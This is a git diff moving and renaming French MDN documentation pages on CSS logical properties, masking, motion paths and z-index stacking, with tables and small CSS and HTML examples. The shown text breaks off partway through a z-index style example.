À l'heure actuelle (décembre 2018), les propriétés raccourcies margin, padding et border ne fonctionent qu'avec les valeurs physiques. Aussi, si respecter le flux du document est primordial et que vous devez utiliser les valeurs logiques, vous devrez recourir aux propriétés détaillées afin d'utiliser les valeurs logiques.

diff --git "a/files/fr/web/css/css_logical_properties/propri\303\251t\303\251s_logiques_flottements_positionnement/index.html" "b/files/fr/web/css/css_logical_properties/propri\303\251t\303\251s_logiques_flottements_positionnement/index.html" deleted file mode 100644 index 3a99d5bbad..0000000000 --- "a/files/fr/web/css/css_logical_properties/propri\303\251t\303\251s_logiques_flottements_positionnement/index.html" +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: Propriétés logiques pour les flottements et le positionnement -slug: Web/CSS/CSS_Logical_Properties/Propriétés_logiques_flottements_positionnement -tags: - - CSS - - Guide - - Propriété logique -translation_of: Web/CSS/CSS_Logical_Properties/Floating_and_positioning ---- -
{{CSSRef}}
- -

La spécification sur les propriétés et valeurs logiques définit des valeurs logiques qui correspondent aux valeurs physiques utilisées pour {{cssxref("float")}} et {{cssxref("clear")}}. Elle définit aussi des propriétés logiques pour le positionnement lorsqu'on utilise une disposition positionnée. Dans ce guide, nous verrons comment utiliser ces valeurs et ces propriétés logiques.

- -

Correspondance entre les propriétés et les valeurs

- -

Le tableau ci-après définit les propriétés et les valeurs que nous verrons dans ce guide et la correspondance avec les propriétés et valeurs physiques si on utilisait un mode d'écriture horizontal allant de gauche à droite.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Propriété ou valeur logiquePropriété ou valeur physique
{{cssxref("float")}}: inline-start{{cssxref("float")}}: left
{{cssxref("float")}}: inline-end{{cssxref("float")}}: right
{{cssxref("clear")}}: inline-start{{cssxref("clear")}}: left
{{cssxref("clear")}}: inline-end{{cssxref("clear")}}: right
{{cssxref("inset-inline-start")}}{{cssxref("left")}}
{{cssxref("inset-inline-end")}}{{cssxref("right")}}
{{cssxref("inset-block-start")}}{{cssxref("top")}}
{{cssxref("inset-block-end")}}{{cssxref("bottom")}}
{{cssxref("text-align")}}: start{{cssxref("text-align")}}: left
{{cssxref("text-align")}}: end{{cssxref("text-align")}}: right
- -

En plus de ces correspondances, certaines propriétés logiques raccourcies ont été ajoutées. Pour celles-ci, qui ciblent les extrêmités des axes en ligne ou de bloc, il n'y a pas de correspondance avec des propriétés physiques existantes à l'exception de {{cssxref("inset")}}.

- - - - - - - - - - - - - - - - - - - - - - -
Propriété logiqueObjectif
{{cssxref("inset-inline")}}Cette propriété définit simultanément les décalages pour les deux côtés situés sur l'axe en ligne.
{{cssxref("inset-block")}}Cette propriété définit simultanément les décalages pour les deux côtés situés sur l'axe de bloc.
{{cssxref("inset")}}Cette propriété définit les valeurs des quatre décalages.
- -

Exemple d'un flottement et d'un dégagement

- -

Les valeurs physiques utilisées avec les propriétés {{cssxref("float")}} et {{cssxref("clear")}} sont left, right et both. Les valeurs logiques définies par la spécification sont inline-start et inline-end et qui peuvent correspondre à left et right selon le mode d'écriture.

- -

Dans l'exemple ci-après, on a deux boîtes : la première flotte avec float: left et la deuxième avec float: inline-start. Si on modifie la propriété writing-mode pour la passer en vertical-rl ou si on modifie direction en rtl, on pourra voir que la première boîte flotte toujours à gauche tandis que la boîte ciblée avec inline-start suit la direction et le mode d'écriture.

- -

{{EmbedGHLiveSample("css-examples/logical/float.html", '100%', 700)}}

- -

Exemple des propriétés inset pour les dispositions positionnées

- -

Le positionnement permet généralement de position un élément de façon relative à son bloc englobant. La plupart du temps, on décale l'objet relativement à la position qu'il aurait occupé sur le flux normal. Par le passé, on utilisait les propriétés physiques {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}} et {{cssxref("left")}}.

- -

Ces propriétés s'utilisent avec une longueur ou avec une pourcentage relatif aux dimensions de l'écran de l'utilisateur.

- -

De nouvelles propriétés ont été définies dans la spécifications des propriétés logiques et permettent de positionner un élément relativement au flux du texte, quel que soit le mode d'écriture. Ces propriétés logiques sont :

- -
    -
  • {{cssxref("inset-block-start")}}
    • -
  • {{cssxref("inset-block-end")}}
    • -
  • {{cssxref("inset-inline-start")}}
    • -
  • {{cssxref("inset-inline-end")}}.
    • -
- -

Dans l'exemple qui suit, on utilise les propriétés inset-block-start et inset-inline-end afin de positionner la boîte bleue de façon absolue dans la zone définie par la bordure grise pointillée et qui a position: relative. En modifiant la propriété writing-mode afin d'utiliser la valeur vertical-rl ou en ajoutant direction: rtl, on pourra voir comment la boîte relative reste dans la direction du texte.

- -

{{EmbedGHLiveSample("css-examples/logical/positioning-inset.html", '100%', 700)}}

- -

Nouvelles propriétés raccourcies

- -

Cette spécification définit également de nouvelles propriétés logiques qui permettent de définir deux voire quatre valeurs avec une seule déclaration. Pour ces propriétés raccourcies, il n'existe pas d'équivalence avec des propriétés physiques.

- -
    -
  • {{cssxref("inset")}} — elle permet de définir les quatre décalages avec une correspondance physique.
    • -
  • {{cssxref("inset-inline")}} — elle permet de définir les décalages sur l'axe en ligne
    • -
  • {{cssxref("inset-block")}} — elle permet de définir les décalage sur l'axe de bloc
    • -
- -
-

Note : Les navigateurs n'ont, pour l'instant, pas implémenté ces nouvelles propriétés (décembre 2018). Pour plus d'informations sur la compatibilité des navigateurs, vous pouvez vous référer aux tableaux de compatibilité présents à la fin des pages de référence pour ces propriétés.

-
- -

Exemple de valeurs logiques pour text-align

- -

La propriété {{cssxref("text-align")}} peut s'utiliser avec quatre valeurs logiques qui sont relatives à la direction du texte. Plutôt que d'utiliser left et right, on pourra utiliser start et end. Dans l'exemple suivant, on définit text-align: right pour le premier bloc et text-align: end pour le second.

- -

Si on modifie la valeur de direction pour la passer à rtl, on verra que le premier bloc restera aligné à droite tandis que le texte du second s'alignera sur la fin logique.

- -

{{EmbedGHLiveSample("css-examples/logical/text-align.html", '100%', 700)}}

- -

Le comportement d'ensemble est plus cohérent lorsqu'on utilise des alignements de boîtes logiques (start et end) plutôt que des alignements basés sur les directions physiques.

diff --git "a/files/fr/web/css/css_logical_properties/propri\303\251t\303\251s_logiques_marges_bordures_remplissages/index.html" "b/files/fr/web/css/css_logical_properties/propri\303\251t\303\251s_logiques_marges_bordures_remplissages/index.html" deleted file mode 100644 index 8b4da0bce6..0000000000 --- "a/files/fr/web/css/css_logical_properties/propri\303\251t\303\251s_logiques_marges_bordures_remplissages/index.html" +++ /dev/null @@ -1,297 +0,0 @@ ---- -title: 'Propriétés logiques pour les marges, les bordures et les remplissages' -slug: >- - Web/CSS/CSS_Logical_Properties/Propriétés_logiques_marges_bordures_remplissages -tags: - - CSS - - Guide - - Propriété logique -translation_of: Web/CSS/CSS_Logical_Properties/Margins_borders_padding ---- -

{{CSSRef}}

- -

La spécification sur les propriétés et valeurs logiques définit des correspondances pour les propriétés servant à définir les marges, les bordures et les remplissages (padding) et les propriétés raccourcies associées. Dans ce guide, nous verrons comment utiliser ces propriétés logiques.

- -

Si vous avez consulté la page principale sur les propriétés et valeurs logiques, vous avez pu voir une grande quantité de propriétés. Cela est principalement du au fait que pour chaque marge, bordure et remplissage, il y a quatre propriétés détaillées et une propriété raccourcie.

- -

Correspondances pour les marges, les bordures et les remplissages (padding)

- -

La spécification détaille les correspondances entre les valeurs logiques et les valeurs physiques. Dans le tableau qui suit,on liste les correspondances lorsque le mode d'écriture utilisé est horizontal-tb et où la direction du texte va de gauche à droite. L'axe en ligne est donc horizontal, dirigé de gauche à droite et {{cssxref("margin-inline-start")}} est équivalent à {{cssxref("margin-left")}}.

- -

Si on avait utilisé un mode d'écriture horizontal-tb orienté de droite à gauche, {{cssxref("margin-inline-start")}} aurait correspondu à {{cssxref("margin-right")}}. Pour un mode d'écriture vertical, elle aurait correspondu à {{cssxref("margin-top")}}.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Propriété logiquePropriété physique
{{cssxref("border-block-end")}}{{cssxref("border-bottom")}}
{{cssxref("border-block-end-color")}}{{cssxref("border-bottom-color")}}
{{cssxref("border-block-end-style")}}{{cssxref("border-bottom-style")}}
{{cssxref("border-block-end-width")}}{{cssxref("border-bottom-width")}}
{{cssxref("border-block-start")}}{{cssxref("border-top")}}
{{cssxref("border-block-start-color")}}{{cssxref("border-top-color")}}
{{cssxref("border-block-start-style")}}{{cssxref("border-top-style")}}
{{cssxref("border-block-start-width")}}{{cssxref("border-top-width")}}
{{cssxref("border-inline-end")}}{{cssxref("border-right")}}
{{cssxref("border-inline-end-color")}}{{cssxref("border-right-color")}}
{{cssxref("border-inline-end-style")}}{{cssxref("border-right-style")}}
{{cssxref("border-inline-end-width")}}{{cssxref("border-right-width")}}
{{cssxref("border-inline-start")}}{{cssxref("border-left")}}
{{cssxref("border-inline-start-color")}}{{cssxref("border-left-color")}}
{{cssxref("border-inline-start-style")}}{{cssxref("border-left-style")}}
{{cssxref("border-inline-start-width")}}{{cssxref("border-left-width")}}
{{cssxref("border-start-start-radius")}}{{cssxref("border-top-left-radius")}}
{{cssxref("border-start-end-radius")}}{{cssxref("border-bottom-left-radius")}}
{{cssxref("border-end-start-radius")}}{{cssxref("border-top-right-radius")}}
{{cssxref("border-end-end-radius")}}{{cssxref("border-bottom-right-radius")}}
{{cssxref("margin-block-end")}}{{cssxref("margin-bottom")}}
{{cssxref("margin-block-start")}}{{cssxref("margin-top")}}
{{cssxref("margin-inline-end")}}{{cssxref("margin-right")}}
{{cssxref("margin-inline-start")}}{{cssxref("margin-left")}}
{{cssxref("padding-block-end")}}{{cssxref("padding-bottom")}}
{{cssxref("padding-block-start")}}{{cssxref("padding-top")}}
{{cssxref("padding-inline-end")}}{{cssxref("padding-right")}}
{{cssxref("padding-inline-start")}}{{cssxref("padding-left")}}
- -

De nouvelles propriétés raccourcies sont également apparues et permettent de manipuler les deux extrêmités d'un même axe. Ces propriétés raccourcies n'ont pas de propriété physique équivalente.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropriétéObjectif
{{cssxref("border-block")}}Définit {{cssxref("border-color")}}, {{cssxref("border-style")}} et {{cssxref("border-width")}} pour les deux bordures sur l'axe de bloc.
{{cssxref("border-block-color")}}Définit border-color pour les deux bordures sur l'axe de bloc.
{{cssxref("border-block-style")}}Définit border-style pour les deux bordures sur l'axe de bloc.
{{cssxref("border-block-width")}}Définit border-width pour les deux bordures sur l'axe de bloc.
{{cssxref("border-inline")}}Définit border-color, -style et -width pour les deux bordures sur l'axe en ligne.
{{cssxref("border-inline-color")}}Définit border-color pour les deux bordures sur l'axe en ligne.
{{cssxref("border-inline-style")}}Définit border-style pour les deux bordures sur l'axe en ligne.
{{cssxref("border-inline-width")}}Définit border-width pour les deux bordures sur l'axe en ligne.
{{cssxref("margin-block")}}Défnit les deux marges sur l'axe de bloc.
{{cssxref("margin-inline")}}Défnit les deux marges sur l'axe en ligne.
{{cssxref("padding-block")}}Définit le remplissage (padding) sur l'axe de bloc.
{{cssxref("padding-inline")}}Définit le remplissage (padding) sur l'axe en ligne.
- -

Exemples de marges

- -

Les quatre propriétés logiques {{cssxref("margin-inline-start")}}, {{cssxref("margin-inline-end")}}, {{cssxref("margin-block-start")}} et {{cssxref("margin-inline-end")}} peuvent être utilisées à la place des propriétés physiques habituelles afin de définir une marge.

- -

Dans l'exemple qui suit, on a créé deux boîtes et définit une marge différente pour chaque côté. On a aussi ajouté un conteneur supplémentaire avec une bordure afin de mieux visualiser la bordure.

- -

Une boîte utilise les propriétés physiques et la seconde les propriétés logiques. Vous pouvez modifier la valeur de la propriété {{cssxref("direction")}} (la changer en rtl par exemple) : la première boîte conservera les mêmes marges tandis que la seconde verra ses marges en ligne échangées.

- -

Vous pouvez également modifier la propriété writing-mode pour la passer de horizontal-tb à vertical-rl. Là aussi, vous pourrez voir les marges rester les mêmes pour la première boîte et passer d'un côté à l'autre pour la seconde.

- -

{{EmbedGHLiveSample("css-examples/logical/margin-longhands.html", '100%', 700)}}

- -

Propriétés raccourcies pour les marges

- -

Avec les propriétés logiques, on peut définir les deux côtés en ligne et les deux côtés en bloc à l'aide d'une propriété et on a donc de nouvelles propriétés raccourcies : {{cssxref("margin-inline")}} et {{cssxref("margin-block")}}. Ces deux propriétés s'utilisent avec deux valeurs : la première sera appliquée au côté du début pour l'axe et la deuxième au côté de fin. Si une seule valeur est utilisée, elle sera appliquée aux deux côtés.

- -

Avec un mode d'écriture horizontal, cette déclaration CSS appliquerait une marge de 5 pixels sur le côté haut de la boîte et une marge de 10 pixels sur le bas de la boîte.

- -
.box {
-  margin-block: 5px 10px;
-}
- -
-

Note : Ces propriétés raccourcies, margin-inline et margin-block, ont été implémentées avec Firefox 66. Elles restent relativement nouvelles et mieux vaut donc vérifier la compatibilité navigateur avant de les utiliser.

-
- -

Exemples pour le remplissage

- -

Pour le remplissage, ce sont les propriétés logiques {{cssxref("padding-inline-start")}}, {{cssxref("padding-inline-end")}}, {{cssxref("padding-block-start")}} et {{cssxref("padding-inline-end")}} qui ont été ajoutées et qui peuvent être utilisées en lieu et place de leur équivalent physique.

- -

Dans l'exemple suivant, on dispose de deux boîtes, la première possède des remplissages définis avec des propriétés physiques et la seconde avec des propriétés logiques. En utilisant un mode d'écriture horizontal-tb, les deux boîtes auront la même apparence.

- -

En modifiant la propriété direction avec la valeur rtl, les boîtes seront affichées de droite à gauche. Le remplissage de la première boîte restera à la même place et celui de la deuxième boîte changera de côté.

- -

Vous pouvez aussi modifier la valeur de la propriété writing-mode pour la passer de horizontal-tb à vertical-rl. Là encore, rien ne change pour la première boîte mais pour la seconde, les remplissages se trouvent échangés.

- -

{{EmbedGHLiveSample("css-examples/logical/padding-longhands.html", '100%', 700)}}

- -

Propriétés raccourcies pour le remplissage

- -

À l'instar des marges, deux propriétés raccourcies ont été ajoutées {{cssxref("padding-inline")}} et {{cssxref("padding-block")}}. Elles permettent, respectivement, de définir le remplissage pour les deux côtés sur l'axe en ligne et sur l'axe en bloc.

- -

Avec un mode d'écriture horizontal, cette déclaration CSS appliquera un remplissage de 5px sur le haut de la boîte et un remplissage de 10 pixels en bas de la boîte :

- -
.box {
-  padding-block: 5px 10px;
-}
- -
-

Note : Ces propriétés raccourcies, padding-inline et padding-block, ont été implémentées avec Firefox 66. Elles restent relativement nouvelles et mieux vaut donc vérifier la compatibilité navigateur avant de les utiliser.

-
- -

Exemples pour les bordures

- -

Les propriétés relatives aux bordures fournissent une grande quantité de propriétés tant logiques que physiques (pour la couleur, la largeur, le style, pour chaque côté, pour les propriétés raccourcies). De la même façon qu'on a des équivalences avec les propriétés physiques pour les marges et les remplissages, on a également des propriétés logiques pour les bordures.

- -

L'exemple ci-après utilise certaines propriétés détaillées et propriétés raccourcies. Comme précédemment, vous pouvez modifier les valeurs des propriétés direction et writing-mode pour observer les impacts.

- -

{{EmbedGHLiveSample("css-examples/logical/border-longhands.html", '100%', 700)}}

- -

Propriétés raccourcies pour les bordures

- -

Il y a des propriétés raccourcies avec deux valeurs pour paramétrer la largeur, le style et la couleur de la bordure pour les côtés sur l'axe en ligne ou pour les côtés sur l'axe de bloc. Le fragment de code qui suit, si on l'utilise avec un mode d'écriture horizontal, fournira une bordure verte de 2 pixels sur un trait plein en haut et en bas de la boîte et une bordure pointillée violette de 4 pixels sur les côtés gauche et droit.

- -
.box {
-  border-block: 2px solid green;
-  border-inline-width: 4px;
-  border-inline-style: dotted;
-  border-inline-color: rebeccapurple;
-}
- -
-

Note : Ces propriétés raccourcies, border-inline et border-block, ont été implémentées avec Firefox 66. Elles restent relativement nouvelles et mieux vaut donc vérifier la compatibilité navigateur avant de les utiliser.

-
- -

Propriétés pour les courbures des bordures relatives au flux

- -

La spécification a également ajouté des propriétés relatives au flux pour les propriétés détaillées associées à {{cssxref("border-radius")}}. Ces propriétés n'ont pas encore (décembre 2018) été implémentées par les différents navigateurs. L'exemple qui suit, avec un mode d'écriture horizontal, fournira une bordure en haut à droite avec un rayon de courbure de 1em, une bordure en bas à droite sans rayon de courbure, une bordure en bas à gauche avec un rayon de courbure de 20 pixels et une bordure courbée avec un rayon de 40 pixels pour le coin supérieur gauche.

- -
.box {
-  border-end-start-radius: 1em;
-  border-end-end-radius: 0;
-  border-start-end-radius: 20px;
-  border-start-start-radius: 40px;
-}
- -

Utiliser les valeurs logiques avec les propriétés raccourcies classiques

- -

La spécification définit une suggestion qui pourrait être utilisée afin de manipuler les propriétés raccourcies (margin par exemple) avec des valeurs logiques. Toutefois, le consensus n'a pas encore été atteint sur la résolution de ce point et est discuté au travers de cette issue.

- -

À l'heure actuelle (décembre 2018), les propriétés raccourcies margin, padding et border ne fonctionent qu'avec les valeurs physiques. Aussi, si respecter le flux du document est primordial et que vous devez utiliser les valeurs logiques, vous devrez recourir aux propriétés détaillées afin d'utiliser les valeurs logiques.

diff --git a/files/fr/web/css/css_logical_properties/sizing/index.html b/files/fr/web/css/css_logical_properties/sizing/index.html new file mode 100644 index 0000000000..f6ffe024e6 --- /dev/null +++ b/files/fr/web/css/css_logical_properties/sizing/index.html @@ -0,0 +1,89 @@ +--- +title: Propriétés logiques pour le dimensionnement +slug: Web/CSS/CSS_Logical_Properties/Dimensionnement +tags: + - CSS + - Guide + - Propriété logique +translation_of: Web/CSS/CSS_Logical_Properties/Sizing +--- +
{{CSSRef}}
+ +

Dans ce guide, nous verrons les correspondances entre les propriétés physiques et les propriétés logiques qui peuvent être utilisées afin de dimensionner des éléments au sein d'un document.

+ +

Lorsqu'on définit la taille d'un objet, la spécification sur les propriétés et les valeurs logiques permet de définir le dimensionnement en fonction du flux du texte (le mode d'écriture et son orientation) plutôt que relativement aux dimensions physiques du support (haut / bas / gauche / droite). Bien que ce premier fonctionnement, utilisant des propriétés et des valeurs logiques, puisse devenir la méthode par défaut à l'avenir, on peut tout à fait avoir besoin d'utiliser des propriétés et des valeurs physiques en combinaison avec ces propriétés et ces valeurs logiques.

+ +

Correspondances pour les dimensions

+ +

Le tableau qui suit fournit les correspondances entre les propriétés logiques et les propriétés physiques lorsqu'on utilise un mode d'écriture horizontal progressant de haut en bas (horizontal-tb) comme c'est le cas avec le français ou l'arabe. Dans ce cas, la propriété physique {{CSSxRef("width")}} serait équivalente à la propriété logique {{CSSxRef("inline-size")}}.

+ +

Si on utilisait un mode d'écriture vertical, {{CSSxRef("inline-size")}} aurait correspondu à {{CSSxRef("height")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Propriété logiquePropriété physique
{{CSSxRef("inline-size")}}{{CSSxRef("width")}}
{{CSSxRef("block-size")}}{{CSSxRef("height")}}
{{CSSxRef("min-inline-size")}}{{CSSxRef("min-width")}}
{{CSSxRef("min-block-size")}}{{CSSxRef("min-height")}}
{{CSSxRef("max-inline-size")}}{{CSSxRef("max-width")}}
{{CSSxRef("max-block-size")}}{{CSSxRef("max-height")}}
+ +

Exemple pour width et height

+ +

Les propriétés logiques correspondant à {{CSSxRef("width")}} et {{CSSxRef("height")}} sont : {{CSSxRef("inline-size")}} pour la taille sur la dimension en ligne et {{CSSxRef("block-size")}}, pour la taille selon la dimension de bloc. Si on travaille sur un document en français, on pourra remplacer width par inline-size et height par block-size et on obtiendra le même résultat.

+ +

Dans l'exemple interactif suivant, le mode d'écriture est explicitement définit avec horizontal-tb. En modifiant cette valeur pour la passer à vertical-rl, on verra que le premier exemple, qui utilise width et height, conserve le même dimensionnement, même si le texte s'affiche verticalement. Pour le second exemple qui utilise inline-size et block-size, on voit que le texte et le dimensionnement suivent l'orientation du flux et que le bloc est ainsi tourné dans son intégralité.

+ +

{{EmbedGHLiveSample("css-examples/logical/size-inline-block.html", '100%', 500)}}

+ +

Exemple pour min-width et min-height

+ +

Il existe également des propriétés logiques correspondantes pour {{CSSxRef("min-width")}} et {{CSSxRef("min-height")}} : {{CSSxRef("min-inline-size")}} et {{CSSxRef("min-block-size")}}. Celles-ci fonctionnent de la même façon que inline-size et block-size mais paramètrent une taille minimale plutôt qu'une taille fixe.

+ +

Dans l'exemple suivant, vous pouvez passer le mode d'écriture en vertical-rl et observer l'effet obtenu. Là encore, on utilise la propriété physique (min-height) sur le premier exemple et la propriété logique (min-block-size) sur le second.

+ +

{{EmbedGHLiveSample("css-examples/logical/size-min.html", "100%", 500)}}

+ +

Exemple pour max-width et max-height

+ +

Enfin, on peut utiliser {{CSSxRef("max-inline-size")}} et {{CSSxRef("max-block-size")}} afin de remplacer les propriétés physiques {{CSSxRef("max-width")}} et {{CSSxRef("max-height")}}. Là encore, vous pouvez modifier l'exemple qui suit pour observer les conséquences de ce changement.

+ +

{{EmbedGHLiveSample("css-examples/logical/size-max.html", "100%", 500)}}

+ +

Mots-clés logiques pour resize

+ +

La propriété {{CSSxRef("resize")}} définit si un objet peut être redimensionné. Cette propriété s'utilise avec les valeurs physiques horizontal et vertical. La propriété resize peut désormais s'utiliser également avec des valeurs logiques : resize: inline permettra de redimensionner un objet sur l'axe en ligne et resize: block permettra de le redimensionner sur l'axe en bloc.

+ +

La valeur both peut être utilisée dans un contexte physique ou dans un contexte logique : elle permet le redimensionnement sur les deux axes. Vous pouvez manipuler cette propriété et ces valeurs dans l'exemple interactif suivant.

+ +

{{EmbedGHLiveSample("css-examples/logical/size-resize.html", "100%", 700)}}

+ +
+

Attention ! À l'heure actuelle (décembre 2018), seul Firefox prend en charge les valeurs logiques pour resize.

+
diff --git a/files/fr/web/css/css_masking/index.html b/files/fr/web/css/css_masking/index.html new file mode 100644 index 0000000000..ea2a9afeb5 --- /dev/null +++ b/files/fr/web/css/css_masking/index.html @@ -0,0 +1,66 @@ +--- +title: CSS Masks +slug: Web/CSS/CSS_Masks +tags: + - Aperçu + - CSS + - CSS Masking + - Reference +translation_of: Web/CSS/CSS_Masking +--- +
{{CSSRef}}
+ +

CSS Masking (ou « masques CSS ») est un module CSS qui définit les moyens, dont les masques et le clipping, pour dissimuler des parties d'éléments visuels, partiellement ou en totalité.

+ +

Référence

+ +

Propriétés

+ +
+
    +
  • {{cssxref("clip")}} {{deprecated_inline}}
    • +
  • {{cssxref("clip-path")}}
    • +
  • {{cssxref("clip-rule")}}
    • +
  • {{cssxref("mask")}}
    • +
  • {{cssxref("mask-border")}}
    • +
  • {{cssxref("mask-border-mode")}}
    • +
  • {{cssxref("mask-border-outset")}}
    • +
  • {{cssxref("mask-border-repeat")}}
    • +
  • {{cssxref("mask-border-slice")}}
    • +
  • {{cssxref("mask-border-source")}}
    • +
  • {{cssxref("mask-border-width")}}
    • +
  • {{cssxref("mask-clip")}}
    • +
  • {{cssxref("mask-composite")}}
    • +
  • {{cssxref("mask-image")}}
    • +
  • {{cssxref("mask-mode")}}
    • +
  • {{cssxref("mask-origin")}}
    • +
  • {{cssxref("mask-position")}}
    • +
  • {{cssxref("mask-repeat")}}
    • +
  • {{cssxref("mask-size")}}
    • +
  • {{cssxref("mask-type")}}
    • +
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName("CSS Masks")}}{{Spec2("CSS Masks")}} 
{{SpecName('SVG1.1', 'masking.html#MaskProperty', 'mask')}}{{Spec2('SVG1.1')}}Définition initiale.
diff --git a/files/fr/web/css/css_masks/index.html b/files/fr/web/css/css_masks/index.html deleted file mode 100644 index ea2a9afeb5..0000000000 --- a/files/fr/web/css/css_masks/index.html +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: CSS Masks -slug: Web/CSS/CSS_Masks -tags: - - Aperçu - - CSS - - CSS Masking - - Reference -translation_of: Web/CSS/CSS_Masking ---- -
{{CSSRef}}
- -

CSS Masking (ou « masques CSS ») est un module CSS qui définit les moyens, dont les masques et le clipping, pour dissimuler des parties d'éléments visuels, partiellement ou en totalité.

- -

Référence

- -

Propriétés

- -
-
    -
  • {{cssxref("clip")}} {{deprecated_inline}}
    • -
  • {{cssxref("clip-path")}}
    • -
  • {{cssxref("clip-rule")}}
    • -
  • {{cssxref("mask")}}
    • -
  • {{cssxref("mask-border")}}
    • -
  • {{cssxref("mask-border-mode")}}
    • -
  • {{cssxref("mask-border-outset")}}
    • -
  • {{cssxref("mask-border-repeat")}}
    • -
  • {{cssxref("mask-border-slice")}}
    • -
  • {{cssxref("mask-border-source")}}
    • -
  • {{cssxref("mask-border-width")}}
    • -
  • {{cssxref("mask-clip")}}
    • -
  • {{cssxref("mask-composite")}}
    • -
  • {{cssxref("mask-image")}}
    • -
  • {{cssxref("mask-mode")}}
    • -
  • {{cssxref("mask-origin")}}
    • -
  • {{cssxref("mask-position")}}
    • -
  • {{cssxref("mask-repeat")}}
    • -
  • {{cssxref("mask-size")}}
    • -
  • {{cssxref("mask-type")}}
    • -
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName("CSS Masks")}}{{Spec2("CSS Masks")}} 
{{SpecName('SVG1.1', 'masking.html#MaskProperty', 'mask')}}{{Spec2('SVG1.1')}}Définition initiale.
diff --git a/files/fr/web/css/css_motion_path/index.html b/files/fr/web/css/css_motion_path/index.html new file mode 100644 index 0000000000..e6740d2023 --- /dev/null +++ b/files/fr/web/css/css_motion_path/index.html @@ -0,0 +1,54 @@ +--- +title: Motion Path +slug: Web/CSS/Motion_Path +tags: + - Aperçu + - CSS + - Experimental + - Motion Path + - Reference +translation_of: Web/CSS/CSS_Motion_Path +--- +
{{CSSRef}}{{SeeCompatTable}}
+ +

Motion Path est un module de la spécification CSS qui permet aux auteurs d'animer des objets graphiques le long d'une ligne appelée chemin.

+ +

Référence

+ +

Propriétés

+ +
+
    +
  • {{cssxref("offset")}}
    • +
  • {{cssxref("offset-distance")}}
    • +
  • {{cssxref("offset-path")}}
    • +
  • {{cssxref("offset-rotate")}}
    • +
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Motion Path Level 1')}}{{Spec2('Motion Path Level 1')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

offset

+ + + +

{{Compat("css.properties.offset")}}

diff --git a/files/fr/web/css/css_positioning/understanding_z_index/adding_z-index/index.html b/files/fr/web/css/css_positioning/understanding_z_index/adding_z-index/index.html new file mode 100644 index 0000000000..d12e2113d1 --- /dev/null +++ b/files/fr/web/css/css_positioning/understanding_z_index/adding_z-index/index.html @@ -0,0 +1,149 @@ +--- +title: Ajouter z-index +slug: Web/CSS/Comprendre_z-index/Ajout_de_z-index +tags: + - Avancé + - CSS + - Guide + - z-index +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index +--- +
{{CSSRef}}{{PreviousMenuNext("Web/CSS/Comprendre_z-index/Empilement_et_float","Web/CSS/Comprendre_z-index/Empilement_de_couches", "Web/CSS/Comprendre_z-index")}}
+ +

Ajouter z-index

+ +

Dans le premier exemple, « empilement sans z-index »,  illustre comment l'empilement fonctionne par défaut. Pour définir un ordre d'empilement différent, il faut utiliser la propriété CSS {{cssxref("z-index")}}.

+ +

Cette propriété, dont l'attribut est une valeur entière (positive ou négative), représente la position de l'élément le long de l'axe Z. Pour se représenter cette notion, on peut imaginer que la page possède plusieurs couches, les unes au dessus des autres. Chaque couche est numérotée. Un couche avec une grande valeur de z-index est affichée par dessus toutes celles dont la valeur est inférieure à la sienne.

+ +
+

Attention : z-index a un effet sur les éléments uniquement si ceux-ci sont positionnés.

+
+ +
    +
  • Bas : couche la plus lointaine de l'observateur
    • +
  • …
    • +
  • Couche -3
    • +
  • Couche -2
    • +
  • Couche -1
    • +
  • Couche 0 couche de rendu par défaut
    • +
  • Couche 1
    • +
  • Couche 2
    • +
  • Couche 3
    • +
  • …
    • +
  • Haut : couche la plus proche de l'observateur
    • +
+ +
+

Notes :

+ +
    +
  • Lorsque la propriété z-index n'est pas définie, les éléments sont rendus sur la couche 0 par défaut.
    • +
  • Si plusieurs éléments possède la même valeur de z-index (c'est-à-dire qu'ils sont placés sur la même couche), alors les règles d'empilement expliquées dans empilement sans z-index s'appliquent.
    • +
+
+ +

Dans l'exemple qui suit, l'empilement des couches a été réordonné en utilisant z-index. Le z-index du bloc DIV#5 n'a pas d'effet, l'élément n'étant pas positionné.

+ +

{{EmbedLiveSample("Code_source_de_l’exemple", '468', '365')}}

+ +

Code source de l’exemple

+ +

HTML

+ +
<div id="abs1">
+  <b>DIV #1</b>
+  <br />position: absolute;
+  <br />z-index: 5;
+</div>
+
+<div id="rel1">
+  <b>DIV #2</b>
+  <br />position: relative;
+  <br />z-index: 3;
+</div>
+
+<div id="rel2">
+  <b>DIV #3</b>
+  <br />position: relative;
+  <br />z-index: 2;
+</div>
+
+<div id="abs2">
+  <b>DIV #4</b>
+  <br />position: absolute;
+  <br />z-index: 1;
+</div>
+
+<div id="sta1">
+  <b>DIV #5</b>
+  <br />no positioning
+  <br />z-index: 8;
+</div>
+
+ +

CSS

+ +
div {
+  padding: 10px;
+  opacity: 0.7;
+  text-align: center;
+}
+
+b {
+  font-family: sans-serif;
+}
+
+#abs1 {
+  z-index: 5;
+  position: absolute;
+  width: 150px;
+  height: 350px;
+  top: 10px;
+  left: 10px;
+  border: 1px dashed #900;
+  background-color: #fdd;
+}
+
+#rel1 {
+  z-index: 3;
+  height: 100px;
+  position: relative;
+  top: 30px;
+  border: 1px dashed #696;
+  background-color: #cfc;
+  margin: 0px 50px 0px 50px;
+}
+
+#rel2 {
+  z-index: 2;
+  height: 100px;
+  position: relative;
+  top: 15px;
+  left: 20px;
+  border: 1px dashed #696;
+  background-color: #cfc;
+  margin: 0px 50px 0px 50px;
+}
+
+#abs2 {
+  z-index: 1;
